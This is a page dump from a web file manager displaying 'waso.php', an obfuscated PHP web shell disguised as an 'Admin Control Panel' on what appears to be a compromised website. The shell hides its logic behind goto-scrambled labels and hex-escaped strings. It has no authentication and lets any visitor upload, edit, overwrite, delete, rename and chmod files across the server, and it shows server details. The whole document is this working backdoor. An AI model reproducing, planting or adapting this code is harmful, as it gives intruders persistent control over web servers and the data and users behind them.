File manager - Edit - /home/justdoit/trustpointb.com/waso.php
Back
<?php goto afvnE; fIIM0: if ($e) { ?> <div class="alert alert-error">✗<?php echo $e; ?> </div><?php } goto rBLkh; fjVOm: if (isset($_GET["\x64"]) && isset($_GET["\x74"])) { $p = $c . $s . $_GET["\144"]; if ($_GET["\x74"] == "\x64\x69\162") { @rmdir($p); } else { @unlink($p); } header("\x4c\x6f\x63\x61\x74\x69\157\156\x3a\x20\77\x70\75" . urlencode($c)); die; } goto abdNc; QvnmB: ?> </span></div></div></aside><main class="main"><?php goto oVcpH; FkNtR: $e = ''; goto ZxNnz; OeHcT: if (isset($_POST["\x63"])) { $n = isset($_POST["\x66\x6e"]) ? $_POST["\146\156"] : ''; $tp = isset($_POST["\164\x70"]) ? $_POST["\164\160"] : "\x66\x69\154\x65"; if ($n) { $fp = $c . $s . $n; if ($tp == "\x66\x6f\x6c\x64\x65\162") { @mkdir($fp, 493); } else { @file_put_contents($fp, ''); } } header("\114\x6f\143\x61\x74\151\157\x6e\x3a\40\x3f\x70\75" . urlencode($c)); die; } goto TyELX; TyELX: if (isset($_POST["\x73"]) && isset($_POST["\146\x6e"]) && isset($_POST["\143\x74"])) { $fp = $c . $s . $_POST["\x66\x6e"]; @file_put_contents($fp, $_POST["\143\x74"]); header("\114\157\x63\x61\x74\x69\x6f\x6e\72\40\77\160\x3d" . urlencode($c)); die; } goto FVNTA; OuDAF: echo $dp; goto wp775; tkyTf: $dt = function_exists("\144\x69\x73\x6b\137\164\157\x74\x61\154\137\x73\160\141\x63\145") ? disk_total_space($r) : 0; goto yvj2x; ele5Z: echo phpversion(); goto df9N0; IPDjZ: echo $dp; goto DBzOk; FVNTA: if (isset($_POST["\x63\150"]) && isset($_POST["\x66\x6e"]) && isset($_POST["\155\144"])) { $fp = $c . $s . $_POST["\146\156"]; $md = octdec($_POST["\x6d\144"]); @chmod($fp, $md); header("\114\157\x63\x61\x74\x69\157\x6e\72\40\77\x70\x3d" . urlencode($c)); die; } goto evrwJ; df9N0: ?> </span></div><div class="stat-item"><span>Server Software</span> <span><?php goto otNsS; sMvOc: $du = function_exists("\144\x69\x73\153\137\146\162\145\x65\x5f\x73\x70\x61\143\145") ? disk_free_space($r) : 0; goto tkyTf; Zn2cN: echo formatBytes($du); goto QvnmB; uLc_4: ?> "class="nav-item<?php goto T3dak; evrwJ: $ed = isset($_GET["\145"]) ? $_GET["\x65"] : ''; goto iO92B; FHkoK: if (!$c) { $c = $r; } goto dAM52; a6RQt: $m = ''; goto FkNtR; COi82: if ($ed) { ?> <div class="edit-panel"><div class="edit-header"><span>✎ Editing: <strong><?php echo $ed; ?> </strong></span><a href="?p=<?php echo urlencode($c); ?> "class="btn btn-sm"style="background:#30363d;color:#c9d1d9">← Back</a></div><div class="edit-body"><form method="POST"><input name="fn"type="hidden"value="<?php echo $ed; ?> "> <textarea class="form-control"name="ct"style="border-radius:0;border:none"><?php echo htmlspecialchars($ec); ?> </textarea><div style="padding:15px;background:#0d1117;border-top:1px solid #30363d"><button class="btn btn-success"type="submit"name="s">💾 Save Changes</button> <a href="?p=<?php echo urlencode($c); ?> "class="btn"style="background:#30363d;color:#c9d1d9">Cancel</a></div></form></div></div><?php } goto FmkMV; h08Th: ?> ">🏠 Home Directory </a><a href="?p=<?php goto nM3ia; kICmJ: $c = realpath($c); goto FHkoK; afvnE: $s = DIRECTORY_SEPARATOR; goto DAU5A; o22e1: foreach ($ps as $i => $p) { if (empty($p)) { continue; } $bp .= $s . $p; echo "\74\141\x20\x68\x72\x65\146\75\42\77\160\75" . urlencode($bp) . "\42\x3e" . $p . "\x3c\x2f\141\76"; if ($i < count($ps) - 1) { echo "\74\163\160\141\x6e\76\57\74\x2f\x73\160\141\x6e\x3e"; } } goto QF5Hr; tF8Kz: ?> "class="nav-item">⬆ Parent Directory </a><a href="#"class="nav-item"onclick='return showModal("uploadModal"),!1'>📤 Upload File </a><a href="#"class="nav-item"onclick='return showModal("createModal"),!1'>➕ New Item </a><a href="#"class="nav-item"onclick="return location.reload(),!1">🔄 Refresh</a></nav><div class="stats"><h4>Server Information</h4><div class="stat-item"><span>PHP Version</span> <span><?php goto ele5Z; DBzOk: ?> %</span></div><div class="progress"><div class="progress-bar"style="width:<?php goto OuDAF; s2u3e: $c = isset($_GET["\x70"]) ? $_GET["\x70"] : $r; goto kICmJ; T3dak: echo $c == $r ? "\x61\143\164\151\x76\x65" : ''; goto h08Th; a9Ngn: ?> </span></div><div class="stat-item"><span>Disk Usage</span> <span><?php goto IPDjZ; gPMFE: $it = array(); goto jECMh; otNsS: echo isset($_SERVER["\123\x45\122\126\x45\x52\137\x53\x4f\106\x54\127\x41\x52\x45"]) ? $_SERVER["\123\x45\x52\126\105\x52\x5f\123\117\106\x54\x57\x41\122\105"] : "\x55\156\153\156\157\167\156"; goto a9Ngn; zxDAm: if (!$ed) { ?> <div class="panel"><div class="panel-header"><span class="panel-title">📁 Directory Contents</span> <span style="color:#8b949e;font-size:12px"><?php echo count($it) - 2; ?> items</span></div><div class="panel-body"><table><thead><tr><th style="width:50%">Name</th><th style="width:15%">Size</th><th style="width:15%">Permissions</th><th style="width:15%">Modified</th><th style="width:15%">Actions</th></tr></thead><tbody><?php $dc = 0; $fc = 0; foreach ($it as $n) { if ($n == "\56" || $n == "\56\x2e") { continue; } $fp = $c . $s . $n; $isd = is_dir($fp); if ($isd) { $dc++; } else { $fc++; } $sz = $isd ? "\x2d" : formatBytes(filesize($fp)); $pm = substr(sprintf("\x25\157", fileperms($fp)), -4); $mt = date("\x59\x2d\x6d\55\x64\x20\x48\72\x69", filemtime($fp)); ?> <tr><td><span class="icon<?php echo $isd ? "\144\151\x72" : "\x66\x69\154\145"; ?> "><?php echo $isd ? "\46\43\61\x32\x38\61\71\63\x3b" : "\x26\x23\61\62\x38\x31\x39\66\x3b"; ?> </span><?php if ($isd) { ?> <a href="?p=<?php echo urlencode($fp); ?> "style="color:#58a6ff;text-decoration:none"><?php echo $n; ?> </a><?php } else { ?> <span><?php echo $n; ?> </span><?php } ?> </td><td class="size"><?php echo $sz; ?> </td><td><span class="perm<?php echo is_writable($fp) ? "\160\145\x72\155\55\x77" : "\160\x65\162\155\55\x72"; ?> "><?php echo $pm; ?> </span></td><td style="color:#8b949e;font-size:12px"><?php echo $mt; ?> </td><td><div class="actions-cell"><?php if (!$isd) { ?> <a href="?p=<?php echo urlencode($c); ?> &e=<?php echo urlencode($n); ?> "class="btn btn-sm btn-primary">Edit</a><?php } ?> <button class="btn btn-sm"onclick='showRename("<?php echo $n; ?> ")'style="background:#8957e5;color:#fff">Rename</button> <button class="btn btn-sm"onclick='showChmod("<?php echo $n; ?> ","<?php echo $pm; ?> ")'style="background:#d29922;color:#000">Chmod</button> <a href="?p=<?php echo urlencode($c); ?> &d=<?php echo urlencode($n); ?> &t=<?php echo $isd ? "\144\151\x72" : "\146\151\x6c\145"; ?> "class="btn btn-sm btn-danger"onclick='return confirm("Delete<?php echo $n; ?> ?")'>Delete</a></div></td></tr><?php } if (empty($it) || count($it) <= 2) { ?> <tr><td colspan="5"><div class="empty-state"><div class="empty-state-icon">🗂</div><p>This directory is empty</p></div></td></tr><?php } ?> </tbody></table></div></div><?php } goto COi82; dAM52: if (!is_dir($c)) { $c = $r; } goto a6RQt; abdNc: if (isset($_POST["\162\156"]) && isset($_POST["\157"]) && isset($_POST["\x6e"])) { $o = $c . $s . $_POST["\157"]; $n = $c . $s . $_POST["\156"]; @rename($o, $n); header("\114\x6f\x63\141\164\x69\x6f\156\72\x20\x3f\x70\75" . urlencode($c)); die; } goto OeHcT; wp775: ?> %"></div></div><div class="stat-item"style="margin-top:10px"><span>Free Space</span> <span><?php goto Zn2cN; jS_H6: if ($ed && file_exists($c . $s . $ed)) { $ec = @file_get_contents($c . $s . $ed); } goto gPMFE; E3pPt: $bp = ''; goto o22e1; oVcpH: if ($m) { ?> <div class="alert alert-success">✓<?php echo $m; ?> </div><?php } goto fIIM0; nYRzQ: ?> <!doctypehtml><html lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Admin Control Panel v2.0</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#0d1117;color:#c9d1d9;font-size:13px}.wrapper{display:flex;min-height:100vh}.sidebar{width:220px;background:#161b22;border-right:1px solid #30363d;padding:15px}.logo{text-align:center;padding:15px 0;border-bottom:1px solid #30363d;margin-bottom:15px}.logo h2{color:#58a6ff;font-size:18px;text-transform:uppercase;letter-spacing:2px}.logo span{font-size:10px;color:#8b949e}.nav-item{padding:10px 12px;margin:3px 0;border-radius:6px;cursor:pointer;transition:all .2s;color:#c9d1d9;text-decoration:none;display:block}.nav-item.active,.nav-item:hover{background:#21262d;color:#58a6ff}.nav-item i{margin-right:8px;width:16px;display:inline-block}.stats{margin-top:20px;padding:15px;background:#0d1117;border-radius:8px;border:1px solid #30363d}.stats h4{font-size:11px;color:#8b949e;margin-bottom:10px;text-transform:uppercase}.stat-item{display:flex;justify-content:space-between;margin:5px 0;font-size:12px}.progress{height:4px;background:#21262d;border-radius:2px;margin-top:8px;overflow:hidden}.progress-bar{height:100%;background:linear-gradient(90deg,#238636,#2ea043);border-radius:2px}.main{flex:1;padding:20px;overflow-x:auto}.header{background:#161b22;padding:15px 20px;border-radius:8px;border:1px solid #30363d;margin-bottom:20px;display:flex;justify-content:space-between;align-items:center}.breadcrumb{display:flex;align-items:center;flex-wrap:wrap}.breadcrumb a{color:#58a6ff;text-decoration:none;padding:3px 8px;background:#0d1117;border-radius:4px;margin-right:5px;font-size:12px}.breadcrumb a:hover{background:#21262d}.breadcrumb span{margin:0 5px;color:#8b949e}.actions{display:flex;gap:10px}.btn{padding:8px 16px;border:none;border-radius:6px;cursor:pointer;font-size:12px;font-weight:500;transition:all .2s;text-decoration:none;display:inline-flex;align-items:center;gap:6px}.btn-primary{background:#1f6feb;color:#fff}.btn-primary:hover{background:#388bfd}.btn-success{background:#238636;color:#fff}.btn-success:hover{background:#2ea043}.btn-danger{background:#da3633;color:#fff}.btn-danger:hover{background:#f85149}.btn-sm{padding:5px 10px;font-size:11px}.panel{background:#161b22;border:1px solid #30363d;border-radius:8px;margin-bottom:20px}.panel-header{padding:15px 20px;border-bottom:1px solid #30363d;display:flex;justify-content:space-between;align-items:center}.panel-title{font-size:14px;font-weight:600;color:#f0f6fc}.panel-body{padding:0}table{width:100%;border-collapse:collapse}td,th{padding:12px 15px;text-align:left;border-bottom:1px solid #30363d}th{background:#0d1117;font-weight:600;color:#8b949e;font-size:11px;text-transform:uppercase;letter-spacing:.5px}tr:hover{background:#0d1117}td{font-size:13px}.icon{width:20px;height:20px;display:inline-flex;align-items:center;justify-content:center;margin-right:8px;font-size:14px}.dir{color:#58a6ff}.file{color:#a371f7}.size{color:#8b949e;font-size:12px}.perm{font-family:monospace;background:#0d1117;padding:2px 6px;border-radius:3px;font-size:11px}.perm-w{color:#3fb950}.perm-r{color:#8b949e}.actions-cell{display:flex;gap:5px}.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.8);z-index:1000;justify-content:center;align-items:center}.modal.active{display:flex}.modal-content{background:#161b22;border:1px solid #30363d;border-radius:12px;width:90%;max-width:500px;padding:25px}.modal-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:20px}.modal-title{font-size:16px;font-weight:600}.close{background:0 0;border:none;color:#8b949e;font-size:20px;cursor:pointer}.close:hover{color:#f0f6fc}.form-group{margin-bottom:15px}.form-group label{display:block;margin-bottom:6px;font-size:12px;color:#8b949e}.form-control{width:100%;padding:10px 12px;background:#0d1117;border:1px solid #30363d;border-radius:6px;color:#c9d1d9;font-size:13px}.form-control:focus{outline:0;border-color:#58a6ff}textarea.form-control{min-height:400px;font-family:Consolas,Monaco,monospace;font-size:12px;line-height:1.5}.alert{padding:12px 15px;border-radius:6px;margin-bottom:15px;font-size:13px}.alert-success{background:rgba(35,134,54,.2);border:1px solid #238636;color:#3fb950}.alert-error{background:rgba(218,54,51,.2);border:1px solid #da3633;color:#f85149}.edit-panel{margin-top:20px}.edit-header{background:#0d1117;padding:15px 20px;border:1px solid #30363d;border-bottom:none;border-radius:8px 8px 0 0;display:flex;justify-content:space-between;align-items:center}.edit-body{border:1px solid #30363d;border-radius:0 0 8px 8px;overflow:hidden}.empty-state{text-align:center;padding:60px 20px;color:#8b949e}.empty-state-icon{font-size:48px;margin-bottom:15px}.checkbox-wrapper{display:flex;align-items:center;gap:10px}</style></head><body><div class="wrapper"><aside class="sidebar"><div class="logo"><h2>WASO</h2><span>Web Admin System Organizer</span></div><nav><a href="?p=<?php goto U1DMa; QF5Hr: ?> </div><div class="actions"><button class="btn btn-success"onclick='showModal("createModal")'>➕ New</button> <button class="btn btn-primary"onclick='showModal("uploadModal")'>📤 Upload</button></div></div><?php goto zxDAm; YPPLp: $ps = explode($s, $c); goto E3pPt; rBLkh: ?> <div class="header"><div class="breadcrumb"><?php goto YPPLp; DAU5A: $r = isset($_SERVER["\104\117\x43\x55\115\105\116\124\x5f\x52\117\x4f\124"]) ? $_SERVER["\104\117\x43\125\x4d\105\x4e\x54\x5f\x52\117\117\124"] : __DIR__; goto s2u3e; pzLIG: function formatBytes($b) { $u = array("\102", "\113\102", "\115\x42", "\107\102", "\x54\x42"); $i = 0; while ($b >= 1024 && $i < count($u) - 1) { $b = $b / 1024; $i++; } return round($b, 2) . "\40" . $u[$i]; } goto nYRzQ; iO92B: $ec = ''; goto jS_H6; yvj2x: $dp = $dt > 0 ? round(($dt - $du) / $dt * 100, 2) : 0; goto pzLIG; jECMh: if (is_dir($c)) { $it = scandir($c); } goto sMvOc; ZxNnz: if ($_SERVER["\122\105\121\125\105\x53\124\137\x4d\x45\x54\x48\x4f\x44"] == "\120\x4f\x53\124" && isset($_FILES["\x66"])) { $u = $c . $s . basename($_FILES["\x66"]["\156\x61\x6d\145"]); if (move_uploaded_file($_FILES["\146"]["\x74\155\x70\137\x6e\x61\155\x65"], $u)) { $m = "\x46\x69\154\145\40\x75\x70\x6c\x6f\x61\144\145\x64\40\x73\165\x63\x63\x65\163\163\x66\x75\x6c\154\171"; } else { $e = "\x55\x70\154\x6f\141\x64\x20\x66\x61\x69\154\145\144"; } } goto fjVOm; U1DMa: echo urlencode($r); goto uLc_4; nM3ia: echo urlencode(dirname($c) ?: $r); goto tF8Kz; FmkMV: ?> </main></div><div class="modal"id="uploadModal"><div class="modal-content"><div class="modal-header"><span class="modal-title">📤 Upload File</span> <button class="close"onclick='hideModal("uploadModal")'>×</button></div><form method="POST"enctype="multipart/form-data"><div class="form-group"><label>Select File</label> <input name="f"type="file"class="form-control"required></div><button class="btn btn-success"type="submit">Upload</button> <button class="btn"onclick='hideModal("uploadModal")'style="background:#30363d;color:#c9d1d9"type="button">Cancel</button></form></div></div><div class="modal"id="createModal"><div class="modal-content"><div class="modal-header"><span class="modal-title">➕ Create New</span> <button class="close"onclick='hideModal("createModal")'>×</button></div><form method="POST"><div class="form-group"><label>Type</label><div class="checkbox-wrapper"><input name="tp"type="radio"id="tpFile"value="file"checked> <label for="tpFile"style="margin:0">📄 File</label> <input name="tp"type="radio"id="tpFolder"value="folder"> <label for="tpFolder"style="margin:0">📁 Folder</label></div></div><div class="form-group"><label>Name</label> <input name="fn"class="form-control"required placeholder="Enter name..."></div><button class="btn btn-success"type="submit"name="c">Create</button> <button class="btn"onclick='hideModal("createModal")'style="background:#30363d;color:#c9d1d9"type="button">Cancel</button></form></div></div><div class="modal"id="renameModal"><div class="modal-content"><div class="modal-header"><span class="modal-title">✎ Rename Item</span> <button class="close"onclick='hideModal("renameModal")'>×</button></div><form method="POST"><input name="o"type="hidden"id="renameOld"><div class="form-group"><label>Current Name</label> <input id="renameCurrent"class="form-control"readonly style="background:#21262d"></div><div class="form-group"><label>New Name</label> <input name="n"class="form-control"required placeholder="Enter new name..."></div><button class="btn btn-success"type="submit"name="rn">Rename</button> <button class="btn"onclick='hideModal("renameModal")'style="background:#30363d;color:#c9d1d9"type="button">Cancel</button></form></div></div><div class="modal"id="chmodModal"><div class="modal-content"><div class="modal-header"><span class="modal-title">🔐 Change Permissions</span> <button class="close"onclick='hideModal("chmodModal")'>×</button></div><form method="POST"><input name="fn"type="hidden"id="chmodFile"><div class="form-group"><label>Target File</label> <input id="chmodTarget"class="form-control"readonly style="background:#21262d"></div><div class="form-group"><label>Permission (e.g., 0755, 0644)</label> <input name="md"id="chmodMode"class="form-control"placeholder="0755"required></div><div style="display:flex;gap:10px;margin-bottom:15px"><button class="btn btn-sm"onclick='setChmod("0755")'style="background:#21262d"type="button">0755</button> <button class="btn btn-sm"onclick='setChmod("0644")'style="background:#21262d"type="button">0644</button> <button class="btn btn-sm"onclick='setChmod("0777")'style="background:#21262d"type="button">0777</button></div><button class="btn btn-success"type="submit"name="ch">Apply</button> <button class="btn"onclick='hideModal("chmodModal")'style="background:#30363d;color:#c9d1d9"type="button">Cancel</button></form></div></div><script>function showModal(e){document.getElementById(e).classList.add("active")}function hideModal(e){document.getElementById(e).classList.remove("active")}function showRename(e){document.getElementById("renameOld").value=e,document.getElementById("renameCurrent").value=e,showModal("renameModal")}function showChmod(e,t){document.getElementById("chmodFile").value=e,document.getElementById("chmodTarget").value=e,document.getElementById("chmodMode").value=t,showModal("chmodModal")}function setChmod(e){document.getElementById("chmodMode").value=e}window.onclick=function(e){e.target.classList.contains("modal")&&e.target.classList.remove("active")},document.addEventListener("keydown",function(e){if("Escape"===e.key)for(var t=document.querySelectorAll(".modal"),o=0;o<t.length;o++)t[o].classList.remove("active")})</script></body></html>
| ver. 1.4 |
Github
|
.
| PHP 8.2.31 | Generation time: 1.9 |
proxy
|
phpinfo
|
Settings